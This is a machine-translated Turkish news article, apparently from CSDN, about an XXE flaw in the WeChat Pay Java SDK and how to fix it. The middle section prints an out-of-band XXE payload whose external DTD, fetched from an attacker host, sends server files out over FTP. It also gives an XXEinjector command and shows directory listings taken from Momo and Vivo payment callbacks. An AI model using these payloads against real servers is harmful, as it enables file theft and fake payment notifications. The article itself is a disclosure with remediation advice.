Bugün, yabancı güvenlik topluluğu Seclists.Org, resmi WeChat Pay SDK'sında satıcı sunucularının saldırıya uğramasına neden olabilecek ciddi XXE güvenlik açıkları olduğunu ve bilgisayar korsanlarının gerçek ödeme kanallarından kaçınabileceğini ve herhangi bir ürünü satın almak için yanlış ödeme bildirimlerini kullanabileceğini açıkladı. .
Bu beyaz şapkanın WeChat güvenlik ekibiyle nasıl iletişim kuracağını bilmediğini ve bu nedenle Twitter'da @ 360Netlab'ın ve 360'ın güvenlik açığını kendi adına aktardığını belirtmekte fayda var. Bu da güvenlik açığının üreticiye önceden bildirilmeden duyurulmasına neden oldu.
XXE güvenlik açığı nedir?
XML External Entity Injection (kısaca XXE), gözden kaçması kolay, ancak çok büyük bir tehlikeye sahip bir güvenlik açığıdır. Bu, rastgele dosyaları okumak, sistem komutlarını yürütmek, intranet bağlantı noktalarını tespit etmek ve intranet web sitelerine saldırmak gibi tehlikelere yol açabilecek öngörülemeyen kodları yüklemek ve enjekte etmek, çalıştırmak için XML harici varlıklarını kullanabilir.
WeChat SDK'nın XXE güvenlik açığı ilkesi
Genellikle, WeChat ödemesini kullandığımızda, satıcının eşzamansız ödeme sonucunu almak için bildirilen bir URL'si olur. Ancak WeChat, bu sonucu ele almak için SDK'nın JAVA sürümünde bir XXE güvenlik açığına sahiptir. Sonuç olarak, saldırgan, satıcı sunucusundaki herhangi bir bilgiyi gerektiği gibi çalmak için, bildirilen URL'ye kötü amaçlı geri arama verileri oluşturabilir. Saldırgan, tüccarın anahtar güvenlik anahtarlarını (md5-key ve tüccar-kimliği) aldıktan sonra, herhangi bir mal için ödeme yapmadan sahte bilgiler göndererek tüccarı aldatabilir.
Etki alanı
Momo ve Vivo'nun bu güvenlik açığından etkilendiği doğrulandı.
Etkilenen sürümler JAVA SDK, WxPayAPI_JAVA_v3'tür.
Güvenlik açığı ayrıntıları
WxPayApi_JAVA_v3.zip README.md dosyasında daha fazla ayrıntı gösterilmektedir:
kod örneğini bildir: WXPayUtil kaynak koduGeçerli bir satıcı bildirim URL'si gönderin:
< ? xml version = "1.0" encoding = "utf-8"? > < ! DOCTYPE kökü < < ! ENTITY% attack SYSTEM "file: /// etc /" > < ! ENTITY% xxe SYSTEM "http: // saldırgan: 8080 / shell / data.dtd"; > % xxe; > >data.dtd:
< !% ENTITY kabuk " < ! ENTITY% upload SYSTEM'ftp: // attack: 33 /% attack; ' > " > %kabuk; % yükleme;Veya aşağıdakileri tespit etmek için XXEinjector aracını kullanın: https://github.com/enjoiz/XXEinjector:
ruby XXEinjector.rb --host = saldırgan --path = / etc --file = req.txt --ssl req.txt: POST merchant_notification_url HTTP / 1.1 Ana bilgisayar: merchant_notification_url_host Kullanıcı-Aracı: curl / 7.43.0 Kabul etmek: */* İçerik Uzunluğu: 57 İçerik Türü: uygulama / x-www-form-urlencoded XXEINJECTMomo davası:
saldırı: url'ye bildir: https://pay.immomo.com/weixin/notify cmd: / ev / sonuç: *** kütükler zhang.jiax ** zhang.shaol ** zhang.xia ** **** saldırı: url'ye bildir: https://pay.immomo.com/weixin/notify cmd: / home / günlükler sonuç: *** moa-hizmet Momotrace ****Vivo davası:
saldırı: url'ye bildir: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: / ev / sonuç: erkek kedi saldırı: url'ye bildir: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: / home / tomcat sonuç: .bash_logout .bash_profile .bashrc kütükler saldırı: url'ye bildir: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: / home / tomcat / günlükler sonuç: **** tomcat-2018-06-28.log tomcat-2018-06-29.log tomcat-2018-06-30.log *****Onarım önerileri
Kullanıcılar, geliştirme dili tarafından sağlanan harici varlıkları devre dışı bırakma yöntemini kullanabilir. Harici varlıkları devre dışı bırakmak için Java kodu aşağıdaki gibidir:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance (); dbf.setExpandEntityReferences (false);Sonuna yaz
Şu anda, acil onarımda olduğunu söyleyen WeChat Pay'in ilgili teknik uzmanlarına bu güvenlik açığının varlığını doğruladık. Elbette sıradan kullanıcıların çok fazla endişelenmesine gerek yok WeChat Pay kullanan bazı web siteleri etkileniyor.İlgili şirketler resmi Java SDK kullanmıyorsa büyük bir sorun yok. Bununla birlikte, XXE zafiyeti ilk ortaya çıktığı zaman değil, ancak dikkate alınmadı. Geliştiriciler olarak düşünmemiz gereken yer burasıdır.
referans:
Belgeler için arayın!
CSDN halka açık hesabı, "on binlerce teknik insanla büyüme" kavramına bağlıdır. Teknik insanların ilk kez ilgilendikleri endüstri odak olaylarını teknik insanların benzersiz bakış açılarından tanımlamak için yalnızca "inek başlıkları" ve "konuşma" sütunlarını kullanmakla kalmaz, aynı zamanda "Teknoloji Başlıkları" sütunu, sektördeki popüler teknolojilerin ve uygulamaların derinlemesine bir yorumunu sunarak, tüm geliştiricilerin teknolojik trendlere ayak uydurmasına, uyanık bir teknolojik anlayışı sürdürmesine ve sektör eğilimleri ve teknolojileri hakkında daha kapsamlı bir anlayışa sahip olmasına olanak tanır.
Yüksek kaliteli makaleleriniz veya sektörün sıcak olayları, teknoloji trendleri hakkında içgörüler veya derinlemesine uygulama uygulamaları, senaryolar vb. Hakkında yeni içgörüleriniz varsa, gönderimler için lütfen CSDN ile iletişime geçin. İletişim: WeChat (guorui_1118, lütfen gönderim + ad + şirket pozisyonunu not edin), e-posta (guorui@csdn.net).